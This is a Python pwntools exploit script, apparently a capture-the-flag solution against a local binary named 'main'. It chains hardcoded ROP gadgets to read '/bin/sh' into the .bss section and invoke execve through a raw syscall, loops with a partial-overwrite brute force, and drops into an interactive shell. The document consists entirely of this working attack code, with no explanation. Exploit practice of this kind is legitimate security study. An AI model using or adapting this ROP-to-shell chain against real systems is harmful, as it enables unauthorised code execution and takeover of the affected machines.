from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./main' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile)
r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *'+x) dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')') b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def find_libc(func_name,func_ad): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase',libcbase) return libcbase
while True: try: io = process(pwnfile) pop_rax=0x0000000000431c77 pop_rsi=0x000000000040ab23 pop_rdi=0x0000000000401f3d pop_rdx_rbx=0x0000000000463367 syscall=0x00000000004121e2 padding=cyclic(0x100-0xf0) payload=flat(0xdeadbeef, pop_rdi,0,pop_rsi,elf.bss()+0x100,pop_rdx_rbx,59,0,elf.sym['read'], pop_rdi,elf.bss()+0x100,pop_rsi,0,pop_rdx_rbx,0,0,syscall) print(hex(len(payload))) sla(b'Quit\n',b'2') sla(b'tion:',payload) sla(b'Quit\n',b'1') payload=cyclic(0x10)+b'\x30' sla(b'rname:',payload) sla(b'Quit\n',b'3') sleep(1) sl(b'/bin/sh\x00'.ljust(59,b'a')) io.interactive() except: io.close()
|